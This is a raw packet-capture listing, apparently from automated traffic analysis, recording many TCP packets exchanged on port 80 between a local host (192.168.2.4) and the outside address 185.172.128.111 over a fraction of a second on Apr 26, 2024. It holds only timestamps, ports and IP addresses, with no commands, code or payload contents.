Apr 26, 2024 09:41:04.226730108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.226903915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.226927996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.226962090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.226989985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.227004051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.227056980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.227201939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.227258921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.227423906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.227483988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.227907896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.227940083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.227967024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.227996111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.228844881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.228888988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.228902102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.228940964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.228960991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.229012966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.229085922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.229099035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.229145050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.229203939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.229217052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.229266882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.229274988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.229321957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.229325056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.229374886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.229481936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.229542971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.230771065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.230820894 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.230828047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.230848074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.230876923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.230902910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.230916023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.230942011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.230978966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.231005907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.231009960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.231035948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.231072903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.231092930 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.231102943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.231157064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.232359886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.232425928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.232459068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.232517004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.233037949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.233088017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.233098030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.233139038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.233294010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.233352900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.233424902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.233450890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.233486891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.233515024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.233517885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.233558893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.233623981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.233671904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.233685017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.233711958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.233721018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.233762980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.233921051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.233978987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.234189034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.234251022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.235305071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.235363960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.235400915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.235431910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.235433102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.235485077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.235502005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.235526085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.235559940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.235584021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.235737085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.235799074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.235939980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.235997915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.237505913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.237569094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.237683058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.237740040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.237919092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.237962961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.237977028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.238013983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.238024950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.238076925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.238286018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.238344908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.238398075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.238452911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.238490105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.238547087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.238646984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.238704920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.238758087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.238826990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.239811897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.239877939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.239897966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.239942074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.239967108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.239995003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.240087986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.240150928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.240375042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.240434885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.240461111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.240499020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.240524054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.240556002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.240567923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.240624905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.240670919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.240709066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.240735054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.240777969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.242309093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.242376089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.242453098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.242511034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.242558002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.242619991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.242666006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.242734909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.242738962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.242794991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.242872953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.242935896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.242999077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.243061066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.243107080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.243174076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.243179083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.243212938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.243263006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.243290901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.452653885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.452729940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.452770948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.452812910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.452846050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.452862978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.452872992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.452902079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.452909946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.452940941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.452949047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.452987909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.452995062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453041077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453140974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453180075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453188896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453231096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453238010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453277111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453284979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453315020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453326941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453370094 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453372955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453411102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453419924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453450918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453488111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453505039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453546047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453578949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453583956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453622103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453623056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453649044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453660011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453696012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453696966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453722954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453735113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453747034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453773975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.453788042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.453819036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454130888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454169989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454184055 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454214096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454329967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454376936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454432011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454471111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454482079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454508066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454515934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454555988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454577923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454616070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454622984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454653025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454668999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454689980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454700947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454727888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454734087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454766989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454776049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454804897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454813957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454843998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454852104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454881907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454900026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454919100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454926968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.454956055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.454965115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.455003023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.455025911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.455070972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.455173016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.455220938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.455634117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.455688953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.455826998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.455866098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.455878973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.455920935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.455959082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.456001043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.456008911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.456038952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.456052065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.456074953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.456084967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.456125975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.456149101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.456186056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.456199884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.456232071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.456245899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.456285000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.456295967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.456322908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.456330061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.456361055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.456367016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.456408024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.457254887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.457295895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.457317114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.457333088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.457349062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.457379103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.458524942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.458564043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.458584070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.458601952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.458607912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.458647966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.459243059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.459295988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.459528923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.459567070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.459580898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.459604979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.459611893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.459642887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.459650993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.459681988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.459687948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.459719896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.459727049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.459768057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.459821939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.459882021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.460696936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.460750103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.460761070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.460761070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.460789919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.460808039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.460819960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.460820913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.460859060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.460881948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.460891008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.460895061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.460916996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.460927963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.460979939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.460980892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.460992098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.461023092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.461050034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.461293936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.461338997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.461533070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.461575985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.461596966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.461638927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.463443995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.463555098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.463567019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.463579893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.463614941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.464106083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.464169025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.464209080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.464241028 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.464309931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.464337111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.465297937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.465310097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.465370893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.465985060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.466000080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.466011047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.466023922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.466092110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.466120005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.466275930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.466331959 CEST	49730	80	192.168.2.4	185.172.128.111
